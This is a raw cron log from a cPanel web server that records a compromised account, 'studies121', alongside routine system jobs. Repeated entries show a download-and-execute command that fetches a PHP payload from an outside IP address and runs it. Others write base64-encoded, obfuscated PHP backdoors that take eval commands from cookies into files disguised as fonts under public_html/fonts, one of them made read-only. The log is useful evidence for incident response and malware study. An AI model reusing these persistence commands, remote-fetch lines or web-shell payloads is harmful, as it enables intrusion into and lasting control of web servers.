Sep  3 22:42:01 ip-184-168-122-23 CROND[10622]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:42:01 ip-184-168-122-23 CROND[10621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:43:01 ip-184-168-122-23 CROND[10732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:43:01 ip-184-168-122-23 CROND[10735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:43:01 ip-184-168-122-23 CROND[10736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:43:01 ip-184-168-122-23 CROND[10734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:44:01 ip-184-168-122-23 CROND[10813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:44:01 ip-184-168-122-23 CROND[10814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:44:01 ip-184-168-122-23 CROND[10817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:44:01 ip-184-168-122-23 CROND[10819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:44:01 ip-184-168-122-23 CROND[10818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:45:01 ip-184-168-122-23 CROND[10902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:45:01 ip-184-168-122-23 CROND[10907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:45:01 ip-184-168-122-23 CROND[10904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:45:01 ip-184-168-122-23 CROND[10908]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:45:01 ip-184-168-122-23 CROND[10905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:45:01 ip-184-168-122-23 CROND[10906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:46:01 ip-184-168-122-23 CROND[10997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:46:01 ip-184-168-122-23 CROND[11001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:46:01 ip-184-168-122-23 CROND[11000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:46:01 ip-184-168-122-23 CROND[10999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:46:01 ip-184-168-122-23 CROND[11003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:46:01 ip-184-168-122-23 CROND[11002]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 22:46:01 ip-184-168-122-23 CROND[11004]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 22:47:01 ip-184-168-122-23 CROND[11194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:47:01 ip-184-168-122-23 CROND[11197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:47:01 ip-184-168-122-23 CROND[11196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:47:01 ip-184-168-122-23 CROND[11195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:48:01 ip-184-168-122-23 CROND[11282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:48:01 ip-184-168-122-23 CROND[11286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:48:01 ip-184-168-122-23 CROND[11283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:48:01 ip-184-168-122-23 CROND[11284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:48:01 ip-184-168-122-23 CROND[11285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:49:01 ip-184-168-122-23 CROND[11369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:49:01 ip-184-168-122-23 CROND[11370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:49:01 ip-184-168-122-23 CROND[11371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:49:01 ip-184-168-122-23 CROND[11374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:49:01 ip-184-168-122-23 CROND[11373]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  3 22:50:01 ip-184-168-122-23 CROND[11486]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 22:50:01 ip-184-168-122-23 CROND[11488]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 22:50:01 ip-184-168-122-23 CROND[11490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:50:01 ip-184-168-122-23 CROND[11489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:50:01 ip-184-168-122-23 CROND[11493]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:50:01 ip-184-168-122-23 CROND[11492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:50:01 ip-184-168-122-23 CROND[11496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:50:01 ip-184-168-122-23 CROND[11491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:50:01 ip-184-168-122-23 CROND[11501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:51:01 ip-184-168-122-23 CROND[11610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:51:01 ip-184-168-122-23 CROND[11611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:51:01 ip-184-168-122-23 CROND[11614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:51:01 ip-184-168-122-23 CROND[11616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:52:01 ip-184-168-122-23 CROND[11698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:52:01 ip-184-168-122-23 CROND[11701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:52:01 ip-184-168-122-23 CROND[11702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:52:01 ip-184-168-122-23 CROND[11700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:52:01 ip-184-168-122-23 CROND[11703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:53:01 ip-184-168-122-23 CROND[11781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 22:53:01 ip-184-168-122-23 CROND[11782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 22:53:01 ip-184-168-122-23 CROND[11783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:53:01 ip-184-168-122-23 CROND[11784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:54:01 ip-184-168-122-23 CROND[11960]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 22:54:01 ip-184-168-122-23 CROND[11965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:54:01 ip-184-168-122-23 CROND[11962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:54:01 ip-184-168-122-23 CROND[11963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
